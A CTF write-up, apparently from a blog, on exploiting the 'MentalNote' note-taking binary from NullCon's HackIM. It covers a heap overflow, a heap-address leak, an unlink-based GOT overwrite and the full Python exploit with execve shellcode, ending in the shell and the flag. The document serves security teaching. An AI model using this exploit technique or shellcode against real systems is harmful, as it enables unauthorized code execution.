staring into /dev/null

barrebas

HackIM CTF - MentalNote

mentalnote was a 400 point exploitation-type challenge in NullCon’s HackIM CTF.

Again, superkojiman started with the invaluable initial reverse engineering. The application is a note-taking program:

1
2
3
4
5
6
7
8
9
10
11
~/tmp/nullcon/exp400$ ./MentalNote 
You want to store some Notes??
Well, we present you the Sherlock's MentalPad -->
Sherlock uses Mental Notes to solve the Cases -- Now you can use it too.
NOTE: It has a limit though
Please enter one of the following option:
1 to add a Note.
2 to delete a Note.
3 to edit a Note.
4 to show a Note.
5 to exit.

superkojiman pointed out that there were two types of notes. Upon adding a note, the program asks for the type. It looks like the second type is larger. By editing a note as type two, we are able to overflow notes into the next note’s meta-data.

First, let’s allocate two notes and set them to something to inspect the heap layout.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
You want to store some Notes??
Well, we present you the Sherlock's MentalPad -->
Sherlock uses Mental Notes to solve the Cases -- Now you can use it too.
NOTE: It has a limit though
Please enter one of the following option:
1 to add a Note.
2 to delete a Note.
3 to edit a Note.
4 to show a Note.
5 to exit.
Your Choice:
1
Give the type of the Note:
1
Please enter one of the following option:
1 to add a Note.
2 to delete a Note.
3 to edit a Note.
4 to show a Note.
5 to exit.
Your Choice:
1
Give the type of the Note:
1
Please enter one of the following option:
1 to add a Note.
2 to delete a Note.
3 to edit a Note.
4 to show a Note.
5 to exit.
Your Choice:
3
Give the Note id to edit:
0
Give the type to edit:
2
Give your Note:
AAAA
Please enter one of the following option:
1 to add a Note.
2 to delete a Note.
3 to edit a Note.
4 to show a Note.
5 to exit.
Your Choice:
3
Give the Note id to edit:
1
Give the type to edit:
2
Give your Note:
BBBB
Please enter one of the following option:

I located the second note in the heap using gdb-peda’s find command.

1
2
3
4
5
6
7
gdb-peda$ x/60w 0x804d0c0
0x804d0c0:    0x00000000  0x00000000  0x00000000  0x00000000
0x804d0d0:    0x00000000  0x00000000  0x00000000  0x00000000
0x804d0e0:    0x00000000  0x00000000  0x00000000  0x00000000
0x804d0f0:    0x000000e1  0x0804d1d0  0x0804d010  0x42424242
0x804d100:    0x0000000a  0x00000000  0x00000000  0x00000000
0x804d110:    0x00000000  0x00000000  0x00000000  0x00000000

You can see that there are several pointers stored on the heap. It looks like a doubly-linked list, with pointers to the next and previous notes. The struct that describes this layout would look something like this:

1
2
3
4
5
struct note {
  note *next_note;
  note *prev_note;
  char note_content[MAX_LENGTH];
};

I sent a stupidly large input to overflow these notes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
gdb-peda$ r
You want to store some Notes??
Well, we present you the Sherlock's MentalPad -->
Sherlock uses Mental Notes to solve the Cases -- Now you can use it too.
NOTE: It has a limit though
Please enter one of the following option:
1 to add a Note.
2 to delete a Note.
3 to edit a Note.
4 to show a Note.
5 to exit.
Your Choice:
1
Give the type of the Note:
1
Please enter one of the following option:
1 to add a Note.
2 to delete a Note.
3 to edit a Note.
4 to show a Note.
5 to exit.
Your Choice:
1
Give the type of the Note:
1
Please enter one of the following option:
1 to add a Note.
2 to delete a Note.
3 to edit a Note.
4 to show a Note.
5 to exit.
Your Choice:
3
Give the Note id to edit:
0
Give the type to edit:
2
Give your Note:
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRAAAABBBB

The heap for note two now looks like this:

1
2
3
4
5
6
gdb-peda$ x/60wx 0x804d0c0
0x804d0c0: 0x46464646  0x47474747  0x48484848  0x49494949
0x804d0d0: 0x4a4a4a4a  0x4b4b4b4b  0x4c4c4c4c  0x4d4d4d4d
0x804d0e0: 0x4e4e4e4e  0x4f4f4f4f  0x50505050  0x51515151
0x804d0f0: 0x52525252  0x41414141  0x42424242  0x4242420a
0x804d100: 0x0000000a  0x00000000  0x00000000  0x00000000

We have overwritten the pointers. Furthermore, superkojiman noticed:

1
2
3
4
gdb-peda$ vmmap
Start      End        Perm   Name
<snip>
0x0804c000 0x0804e000 rwxp [heap]

The heap is writeable and executable. This allows us to store shellcode on the heap. Now to find a way to get the heap address reliably (ASLR is enabled) and overwrite a GOT pointer with the location of our shellcode.

I recently tested c0ne’s binaries for his Pandora’s Box VM. I did one of the challenges in a similar way: overflow a buffer up to a certain pointer to grab extra bytes when that buffer is printed. I could leak the heap address by sending just enough bytes into note one to make the heap look like this:

1
2
3
4
5
6
7
gdb-peda$ x/60wx 0x804d0c0
0x804d0c0: 0x42424242  0x42424242  0x42424242  0x42424242
0x804d0d0: 0x42424242  0x42424242  0x42424242  0x42424242
0x804d0e0: 0x42424242  0x42424242  0x42424242  0x42424242
0x804d0f0: 0x4242420a  0x0804d1d0  0x0804d010  0x42424242
0x804d100: 0x0000000a  0x00000000  0x00000000  0x00000000
0x804d110: 0x00000000  0x00000000  0x00000000  0x00000000

When I know requested the value of note one, the binary would dump out lots of B’s, but also append the pointers from the heap! With that sorted, I could find my shellcode on the heap even with ASLR enabled. Next was overwriting a GOT pointer. This was done by overflowing a note and overwriting the pointers to next_note and prev_note. Then I’d ask the binary to delete a note. It does this by calling free(). Because we can control the two pointers, we have a write-what-where primitive. By setting the right values, I could write the address of the shellcode on the heap to __isoc99_scanf@got.plt. Initially, I swapped the two memory addresses around, leading to mangled shellcode. After overwriting the GOT pointer of __isoc99_scanf@got.plt, which is one of the next functions the binary calls in its main loop, the shellcode on the heap is executed. Because of the way free() works, we need to adjust the addresses a bit.

The shellcode was modified a bit (‘/bin/ash’ -> ‘/bin//sh’) and stored on the heap. The overflow was used to overwrite the two pointers, and the write-what-where is triggered by sending a ‘delete note’ command.

The exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import struct
import socket
import time
import re

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('54.163.248.69', 9004))

s.recv(1000)
time.sleep(0.5)

def p(x):
  return struct.pack('<L', x)

payload  = "1\n1\n1\n1\n"   # create two notes of type one
payload += "3\n0\n2\n"      # edit note 0 as type two

s.send(payload)
time.sleep(0.5)

# overflow note to line up to heap pointer
s.send("A"*212+"BBB\n")

time.sleep(0.5)
s.recv(256)

# leak heap addr
print "[+] Trying to leaking heap address..."
time.sleep(0.5)

s.send("4\n0\n")
time.sleep(0.5)

data = s.recv(1000)

# ugly.. but works :/
m = re.search(r'.*BBB\n(....).*', data)
if m:
  heap = struct.unpack('<L', m.group(1))[0]
  print "[+] Leaked heap address at {}".format(hex(heap))
  # offset for shellcode found empirically via gdb
  shellcode = heap - 0xd0
  print "[+] Shellcode at {}".format(hex(shellcode))
else:
  print "[!] Fatal: could not leak heap address"
  exit(0)
  
time.sleep(0.5)
print "[+] Sending new notes to overwrite got pointer..."
s.send("1\n1\n1\n1\n")    # create two more notes
time.sleep(0.5)
s.recv(1000)

# send new note to overflow pointers
s.send("3\n2\n2\n")
time.sleep(0.5)
s.recv(1000)

time.sleep(0.5)
payload = ""
sc = "\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
# prepend shellcode with a little NOP sled
payload += "\x90"*(212-len(sc))
payload += sc
# overwrite note_info struct
payload += p(0x804b024-8)     # __isoc99_scanf@got.plt-8
payload += p(shellcode)       # heap location of shellcode

payload += "\n"
s.send(payload)

# request deletion of a note, triggering our write-what-where
# we overwrite a function pointer in the got with the location
# of our shellcode
time.sleep(0.5)
s.send("2\n3\n")

time.sleep(0.5)
s.recv(512)

# shell incoming!
print "[+] Enjoy your shell!"

import telnetlib
t = telnetlib.Telnet()
t.sock = s
t.interact()

s.close()
1
2
3
4
5
6
7
8
9
10
bas@tritonal:~/tmp/nullcon/exp400$ python sploit.py
[+] Trying to leaking heap address...
[+] Leaked heap address at 0x85cf1d0
[+] Shellcode at 0x85cf100
[+] Sending new notes to overwrite got pointer...
[+] Enjoy your shell!
id
/bin//sh: 1: id: not found
cat flag.txt
flag{y0u_br0k3_1n70_5h3rl0ck_m1ndp4l4c3}

The flag was flag{y0u_br0k3_1n70_5h3rl0ck_m1ndp4l4c3}.

Comments